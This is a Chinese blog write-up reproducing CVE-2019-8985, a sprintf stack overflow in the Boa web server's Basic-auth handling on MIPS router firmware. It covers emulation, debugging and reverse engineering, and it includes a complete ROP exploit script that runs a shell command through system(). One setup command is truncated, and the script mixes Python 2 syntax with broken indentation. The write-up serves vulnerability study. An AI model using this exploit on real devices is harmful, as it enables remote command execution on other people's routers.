CVE–2019–8985漏洞复现
2024-8-16 18:59:10 Author: www.freebuf.com(查看原文) 阅读量:23 收藏

image

1、漏洞描述

由相关信息得到漏洞点存在于/bin/boa程序中的user_ok函数,sprintf 的时候对v10造成了溢出 而v10的buf还特别小通过逆向可以知道这是个认证函数由user_name:user_password组成的键值对形式和本地的文件进行认证,具体可自行查看/bin/boa函数的逆向。

2、前期处理

(1)固件提取

binwalk -Me fw.bin

提取之前需要安装sasquatch(如果是用源码安装的话,应该没有这样的问题),不然会提取失败,squashfs-root文件夹为空。image

(2)查看相关架构

find -name busybox 
file ./squashfs-root/bin/busybox

该架构为mips架构,32位大端序。image

(3)用户级模拟

qemu-mips-static文件复制到当前目录,以便于更好处理。

cp (which qemu-mips-static) .

image
把当前目录当做根目录,执行boa文件,发现有相关的报错,缺少相关的设备文件,使用mknod进行创建。

sudo chroot . ./qemu-mips-static /bin/boa --help

image
创建文件解决报错后,并查看相关用法,可以看到,要传入两个文件,一个是boa path,另一个是conf path。boa启动命令一定是在配置文件或者开机项作为httpd服务启动,也就是说boa文件件会在其他文件中被使用,所以只需要grep搜索boa字符即可,这样就能够查找是相关文件中是如何使用boa文件的。

sudo mknod -m 666 ./dev/null c 1 3

image
grep -r 'boa ' .,查看相应的字段,发现如下如下用法,sudo chroot . ./qemu-mips-static /bin/boa -p /web -f /etc/boa.conf执行,发生报错“Can't create PID file!”
image
将boa文件放入到32位ida中,shift + F12 查看字符串 “Can't create PID file!”,对该字符串进行交叉引用,v14 = fopen(off_4590B0, "w");该句决定着程序执行的成功还是识别,查看off_4590B0,内容如下

.rodata:00415560 2F 76 61 72 2F 72 75 6E 2F 77+aVarRunWebsPid:.ascii "/var/run/webs.pid"<0>

发现是/var/run/webs.pid无法创建,没有run文件夹。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // $s1
  int v7; // $a0
  int v8; // $v1
  FILE *v9; // $v0
  FILE *v10; // $s0
  int v11; // $v0
  FILE *v12; // $a0
  __pid_t v13; // $v0
  FILE *v14; // $s0
  size_t v15; // $v0
  int v16; // $s0
  char v17[24]; // [sp+20h] [-20h] BYREF
  __pid_t pid; // [sp+38h] [-8h] BYREF

  umask(0x3Fu);
  time(&current_time);
  tzset();
  v5 = open("/dev/null", 0);
  if ( v5 == -1 )
    log_error_mesg_fatal("boa.c", 228, "main", "can't open /dev/null");
  if ( dup2(0, 50) == -1 )
    log_error_mesg_fatal("boa.c", 232, "main", "can't dup2 /dev/null to STDIN_FILENO");
  close(v5);
  if ( argc >= 5 )
  {
LABEL_13:
    v7 = argc;
    while ( 1 )
    {
      v8 = getopt(v7, (char *const *)argv, "h?p:f:");
      if ( v8 == -1 )
        break;
      if ( v8 == 102 )
      {
        strcpy(boa_file_path, optarg);
        read_config_files(optarg);
        v7 = argc;
      }
      else
      {
        if ( v8 != 112 )
        {
          sub_403CB4(*argv);
          goto LABEL_13;
        }
        sub_40496C(optarg);
        v7 = argc;
      }
    }
    init_signals();
    v9 = fopen(off_4590B0, "r");
    v10 = v9;
    if ( v9 )
    {
      fgets(v17, 20, v9);
      v11 = sscanf(v17, "%d", &pid);
      v12 = v10;
      if ( v11 )
      {
        if ( pid >= 2 )
          kill(pid, 15);
        v12 = v10;
      }
      fclose(v12);
    }
    v13 = getpid();
    sprintf(v17, "%d\n", v13);
    v14 = fopen(off_4590B0, "w");
    if ( v14 )
    {
      v15 = strlen(v17);
      fwrite(v17, v15, 1u, v14);
      fclose(v14);
      v16 = sub_4042E0();
      build_needs_escape();
      fprintf(stderr, "Starting Protocol Module: %-32s ... OK\n", "HTTP Server");
      status = 0;
      dword_459D18 = 0;
      start_time = current_time;
      loop(v16);
    }
    fprintf(stderr, "%s:%s:%d;Can't create PID file!\n", "boa.c", "main", 291);
    return -1;
  }
  else
  {
    sub_403CB4(*argv);
    return 0;
  }
}

mkdir var/run创建相关文件夹,创建完之后在试一下,又发生报错,意思是说相关端口已经被占用,而boa文件常用的端口是80,用sudo lsof -i :80查找80端口的进程,并kill掉,之后重新运行,发现HTTP Server启动成功。

这个问题不是每个人都会遇到的,笔者第一次执行的时候就没有这样的问题。

image
image
运行成功之后,用wget发送一个poc验证一下,服务端出现get password error!问题,老样子,丢到ida中查看相关字符。
image
image
通过ida进行定位,查看两个函数,发现是打开"/tmp/passwd"文件失败,直接将本机的文件复制过去,新建也是可以的,但为了防止格式问题,直接用本机的更为妥当,如果没用tmp文件夹,直接创建即可。

int __fastcall user_auth(const char *a1)
{
  int v2; // $a0
  char *v3; // $v0
  int v4; // $v0
  char v6[64]; // [sp+20h] [-40h] BYREF

  memset(v6, 0, sizeof(v6));
  if ( get_password(64) >= 0 )
  {
    v2 = 1;
    if ( byte_4596D0[0] != 58 )
    {
      v2 = 0;
      if ( a1 )
      {
        if ( !strstr(a1, "Basic") )
          return 0;
        sub_41489C(a1 + 6, authout, 128);
        v3 = strchr(authout, 58);
        *v3 = 0;
        v4 = user_ok(authout, v3 + 1);
        v2 = 1;
        if ( !v4 )
          return 0;
      }
    }
  }
  else
  {
    fprintf(stderr, "%s:%s:%d;get password error!\n", "htauth.c", "user_auth", 181);
    return 1;
  }
  return v2;
}
int __fastcall get_password(int a1)
{
  FILE *v2; // $s1
  int result; // $v0
  int v4; // $s0
  int v5; // $s2
  int v6; // $s3
  char v7[8]; // [sp+18h] [-8h] BYREF

  memset(byte_4596D0, 0, sizeof(byte_4596D0));
  v2 = fopen("/tmp/passwd", "r+");
  result = -1;
  if ( v2 )
  {
    v4 = 0;
    v5 = 0;
    v6 = 0;
    while ( fread(v7, 1u, 1u, v2) )
    {
      if ( v4 >= a1 || v7[0] == 13 || v7[0] == 10 )
      {
        byte_4596D0[64 * v5 + v4++] = 0;
        if ( !v6 )
        {
          ++v5;
          v4 = 0;
          v6 = 1;
          if ( v5 > 0 )
            break;
        }
      }
      else
      {
        byte_4596D0[64 * v5 + v4++] = v7[0];
        v6 = 0;
      }
    }
    fclose(v2);
    return 0;
  }
  return result;
}

cp /etc/passwd ./tmp,这里要注意一下,原本的tmp是对本机的软连接,先删除再创建
image
重新把poc打过去,发现服务端发生崩溃
image
下面这个是未崩溃的样子,以做对比
image

2、漏洞利用

(1)系统级模拟&gdbserver远程调试

简单的用户级模拟不能达到真实场景的需求,于是使用qemu的系统级模拟功能,模拟 32位的大端mips架构,mips表示大端,mipsel表示小端。

  1. 下载相关内核(最好创建一个文件夹mips),这里的版本用vmlinux-3.2.0-4-4kc-malta最好,不然可能会导致gdbserver连接失败。

wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2
  1. 本机创建网桥和接口,并将接口接到网桥上,以便于传输文件系统

sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif V
  1. 启动虚拟机,在内核文件的位置打开terminal,执行以下命令,密码(root:root)

在启动虚拟机命令不同的时候,其qemu模拟的设备也不同,可能会导致网卡eth1变为eth0等问题,如果遇到此类问题,可以考虑重新配置虚拟机。

sudo qemu-system-mips \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
  1. 配置虚拟机ip

ifconfig eth0 192.168.153.2/24 up
  1. 传输文件系统
    此操作在本机上进行,而不是在qemu虚拟机中,传输前可以先打包再上传,这样可能会稳妥一些。

scp -r -O -oHostKeyAlgorithms=+ssh-rsa ./squashfs-root [email protected]:/root

加-O -oHostKeyAlgorithms=+ssh-rsa是为了防止一些版本问题

  1. 在虚拟机中挂载dev和proc

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
cd squashfs-root/
chroot . sh
  1. 去除地址随机化

echo 0 > /proc/sys/kernel/randomize_va_space
  1. 相关操作截图
    image
    image

  2. 设置gdb调试模式,创建一个文件,在文件内部写入如下命令

set arch mips
set endian big
b *0x4146f4
target remote 192.168.153.2:4444
  1. 启动gdb调试,其中gdbserver-7.12-mips-be可以到github上找编译好的

gdb-multiarch ./bin/boa -p ./web/ -f ./etc/boa.conf -x inint  #本机执行
gdb-static/gdbserver-7.12-mips-be :4444 /bin/boa -p /web -f /etc/boa.conf  #虚拟机执行

image
这样就可以进行gdb的调试了
image

(2)漏洞分析

先给出poc

import socket
from pwn import *
import struct
import base64

libc 	= 0x77f2e000 
libgcc 	= 0x77ee2000
gadget 	= 0x0000ABD0 + libgcc
system	= 0x0002AC90 + libc
MAXSZ	= 1024
cmd		= b"FUCK" * 50 # see how long our cmd can be
#cmd		= b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
# fork 0x77f34d30
def exp():
	#print(f"[+] gadget is {hex(gadget)}")
	#print(f"[+] system is {hex(system)}")
	payload  = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
	payload += p32(system)					# s3 <- esp + 0x0c
	payload += b'AAAA'						# s4 
	payload += p32(gadget) 					# ra <- esp + 0x14
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += cmd  						# 	 <- esp + 0x30

	header   = b'GET / HTTP/1.1\r\n'
	# header  += b'Host: 127.0.0.1:80\r\n'
	header  += b'Host: 192.168.153.2:80\r\n'
	header  += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
	header  += b'User-Agent: Real UserAgent\r\n\r\n'


	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	iport = ("192.168.153.2" ,80)
	s.connect(iport)
	s.send(header)
	msg = s.recv(MAXSZ)
	#print("[+] Message is %s" %(msg))
        print "[+]"
        print msg
	s.close()

if __name__ == '__main__':
	exp()

给出一下示意图
image
为了构造ROP,在相关的链接库中寻找gadget,符合要求的如下
image

system函数执行命令的第一个参数是传递给a0的,所以找到的能够给a0赋值的gadget,并且最后能够调到system函数的地址中去。

0x0000ABD0  |  addiu a0,sp,0x20+var_8                            |  jalr  $s3

libgcc中的该语句符合条件,该语句会将sp中向下偏移sp+0x20-8=sp+0x18的值赋值给a0寄存器,所以只要在sp+0x28处放上cmd命令即可(注意mpis是多级指令流水线,也就是说语句会在return之后执行,即栈的恢复会在跳转之后执行,所以这里的sp是恢复过后的sp),执行完之后,程序会更s3寄存器中的地址进行跳转,所以s3中应该存放system的地址。

image

随后通过gdb远程调试确定能够执行的cmd命令的长度,在gdb连接成功之后按下c,程序会执行,从这里也可以看出,boa程序加载了libc、libgcc库,之后通过poc进行攻击,查看栈。
image
通过 x/64xw $sp 查看栈的情况,可以看出cmd的长度最多是17。
image

(3)漏洞利用

将poc的cmd命令改变一下,就变成了exp

import socket
from pwn import *
import struct
import base64

libc 	= 0x77f2e000 
libgcc 	= 0x77ee2000
gadget 	= 0x0000ABD0 + libgcc
system	= 0x0002AC90 + libc
MAXSZ	= 1024
#cmd		= b"FUCK" * 50 # see how long our cmd can be
cmd		= b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
# fork 0x77f34d30
def exp():
	#print(f"[+] gadget is {hex(gadget)}")
	#print(f"[+] system is {hex(system)}")
	payload  = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
	payload += p32(system)					# s3 <- esp + 0x0c
	payload += b'AAAA'						# s4 
	payload += p32(gadget) 					# ra <- esp + 0x14
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += b"BBBB"
	payload += cmd  						# 	 <- esp + 0x30

	header   = b'GET / HTTP/1.1\r\n'
	# header  += b'Host: 127.0.0.1:80\r\n'
	header  += b'Host: 192.168.153.2:80\r\n'
	header  += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
	header  += b'User-Agent: Real UserAgent\r\n\r\n'


	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	iport = ("192.168.153.2" ,80)
	s.connect(iport)
	s.send(header)
	msg = s.recv(MAXSZ)
	#print("[+] Message is %s" %(msg))
        print "[+]"
        print msg
	s.close()

if __name__ == '__main__':
	exp()

攻击效果如下
image

3、后记

根据https://tttang.com/archive/1672/#toc__3文章师傅的方法,通过四次rop可以达到getshell的目的,该利用的最根本的要求是控制a0的值,因为a0的值是system执行的参数,而a0的值是通过sp的指针的偏移来获取的,所以如何布局栈是关键,我们必须要让cmd的命令尽可能的靠近sp,即返回地址,从而扩大溢出范围(24+17=41)。对于新手还是挺难的,但四次rop的方法有个问题就是必须执行两次exp,每一次的执行都需要使boa的服务挂掉,在实际的过程中大概率会被发现。

下面是本文用到的一些小知识

(1)GDB如何查看一段内存

在使用GDB调试程序时,查看一段内存的内容是一项常用的操作,可以使用x命令(代表examine)来查看内存中的内容。这个命令允许你以多种格式和单位查看内存。基本语法如下:

x /nfu 地址
  • n是你想要查看的元素数量。

  • f是显示格式,例如x表示十六进制,d表示十进制,u表示无符号十进制,t表示二进制,a表示地址,i表示机器指令等。

  • u是单位大小,例如b表示字节,h表示半字(2字节),w表示字(4字节),g表示双字(8字节)。

  • 地址是你想要查看的内存地址。

例如,如果你想以十六进制格式查看位于0x8049000地址开始的32个字节,你可以使用以下命令:

x /32xb 0x8049000

这里,32xb指“查看32个字节(byte),并以十六进制(x)格式显示”。

(2)gef调试使用方法

gef工具使用:gdb exhanced features(GEF)工具的使用 - 寻梦99 - 博客园

  1. telescope(显微镜)命令观察当前栈,或者pc位置的代码信息。

  2. x/20 $sp查看栈的情况,长度为20

  3. telescope $sp -l 20以更美观的方式查看

(3)jalr指令

MIPS架构中的jalr指令同样是一种汇编指令,全称为"Jump And Link Register"。与jal指令类似,jalr指令也用于实现函数(或过程)的调用,但它提供了更为灵活的跳转方式。具体来说,jalr指令的作用也有两个:

  1. 将当前程序计数器(PC)的地址(即当前指令的下一条指令的地址)保存到寄存器$ra(返回地址寄存器,寄存器号31)中,或者是指定的其他寄存器中。这样做是为了在函数(或过程)执行完后能够知道从哪里返回。

  2. 跳转到由指定寄存器中保存的地址执行代码,而不是jal指令中直接指定的地址。这意味着跳转目标地址在执行前是可以通过程序计算和修改的。

jalr指令增加了程序的灵活性,使得可以实现基于计算结果的动态函数调用,例如,通过函数指针的调用在C语言中。这种指令在实现虚函数、回调函数或是操作系统的调度功能时特别有用。

(3)jal命令

MIPS架构中的jal命令是一种汇编指令,全称为"Jump And Link"。这条指令用于实现函数(或过程)的调用,如下:

  1. 将当前的程序计数器(PC)的地址(即当前指令的下一条指令的地址)保存到寄存器$ra(返回地址寄存器,寄存器号31)中。这样做是为了在函数(或过程)执行完后能够知道从哪里返回。

  2. 跳转到指定的地址执行代码。这个地址是jal指令后面跟随的目标地址,即开始执行函数(或过程)的地址。

通过这种方式,jal指令不仅实现了程序的跳转,还保存了返回点,以便函数执行完毕后能够返回到调用它的地方继续执行。这是实现高级语言中函数调用和返回的基础。

(5)如何调用system函数

在 MIPS 架构中,调用 system函数(或其他 C 库函数)通常遵循 MIPS 的标准调用约定。这包括如何传递参数给函数。system函数接受一个指向字符串的指针作为其参数,该字符串包含要执行的命令。根据 MIPS 的调用约定,函数的参数是通过寄存器传递的,具体到 system函数,其参数(命令字符串的地址)会被放在 $a0寄存器中。以下是调用 system函数时参数传递的一般步骤:

  1. 准备命令字符串:首先,你需要准备好要执行的命令字符串。这可以通过将字符串存储在程序的数据段中来实现。

  2. 加载参数地址:使用 la伪指令将命令字符串的地址加载到 $a0寄存器中。la指令会解析为加载命令字符串地址的一系列指令。

  3. 调用 system函数:使用 jal指令跳转到 system函数的地址并保存返回地址在 $ra寄存器中。jal指令导致程序的执行流跳转到 system函数,并在函数执行完毕后返回。

这里是一个简单的例子,演示了如何在 MIPS 程序中调用 system函数来执行一个命令:

.data
command: .asciiz "ls"  # 要执行的命令字符串

.text
.globl main
main:
    la $a0, command   # 将命令字符串的地址加载到 $a0
    jal system        # 调用 system 函数执行命令
    # 函数返回后的处理
    jr $ra            # 返回到调用者

(6)mips架构的指令流水线

在 MIPS 架构中,jr指令用于从指定寄存器跳转到一个地址。当执行到 jr指令时,控制权会被传递到该寄存器指定的地址,通常是返回到函数调用的位置。但是,如果在 jr指令后面紧跟着另一条指令,比如 addiu $sp, $sp, 0x78,这条指令的执行与指令流水线的行为有关。

MIPS 使用一个分阶段的指令流水线,通常包含五个阶段:取指(IF)、译码(ID)、执行(EX)、访存(MEM)、回写(WB)。当 jr指令在执行阶段(EX)确定跳转目标时,流水线中的下一条指令(在这种情况下是 addiu $sp, $sp, 0x78)已经在取指(IF)阶段了。因此,即使 jr指令触发了跳转,紧接着 jr指令的 addiu通常会被执行,这种现象称为“延迟槽”。

在 MIPS 架构中,延迟槽是一种硬件特性,旨在提高流水线的效率。编译器或程序员必须确保在延迟槽中放置一条有效的指令,或者如果不需要执行任何操作,则可以放置一个无操作(NOP)指令。

所以,如果 jr $ra后面紧跟 addiu $sp, $sp, 0x78,在大多数 MIPS 实现中,即便跳转发生,addiu指令仍然会被执行。这通常用于优化代码,如在返回前调整堆栈指针,但需要仔细编写以避免逻辑错误。

(7)/bin/boa文件一般是用来干嘛的

/bin/boa通常指的是Boa服务器的可执行文件。Boa是一种小巧、高效的Web服务器,专门设计用于嵌入式系统和轻量级应用。这意味着它主要用于那些资源有限的环境,比如路由器、智能家居设备以及一些老旧的服务器上,提供Web服务功能。由于其占用资源少,启动快速的特点,Boa适用于需要快速响应且不需要复杂Web应用支持的场合。

Boa服务器支持基本的Web服务功能,包括静态内容的服务、CGI(公共网关接口)脚本的执行等,但可能不支持某些高级功能,如SSL加密、复杂的身份验证机制等,这些功能在更为复杂和资源要求更高的Web服务器软件,如Apache、Nginx中较为常见。

在操作系统中,/bin目录通常用于存放重要的可执行文件,这些文件对于系统用户和系统操作至关重要。因此,/bin/boa位置表明Boa服务器是作为系统级应用安装的,可由系统中的任何用户运行。

总之,如果你在系统上看到/bin/boa,这意味着该系统装有Boa Web服务器,可能用于提供轻量级的Web服务。

4、RFERENCE

  1. 复现的相关文章:https://tttang.com/archive/1672/#toc__3

  2. IOT基础知识(强烈推荐):https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide

  3. MIPS 架构栈溢出:https://0x43434343.com/2018/02/01/201802011032/

  4. MIPS栈溢出初探:https://bbs.kanxue.com/thread-262947.htm

  5. MIPS栈溢出入门:https://erosjohn.github.io/2020/07/16/MIPS%E5%9F%BA%E7%A1%80%E5%8F%8A%E6%A0%88%E6%BA%A2%E5%87%BA%E5%85%A5%E9%97%A8%EF%BC%88%E4%B8%80%EF%BC%89/

  6. gdbserver调试:https://xuanxuanblingbling.github.io/ctf/pwn/2020/08/24/gdb/


文章来源: https://www.freebuf.com/vuls/408217.html
如有侵权请联系:admin#unsafe.sh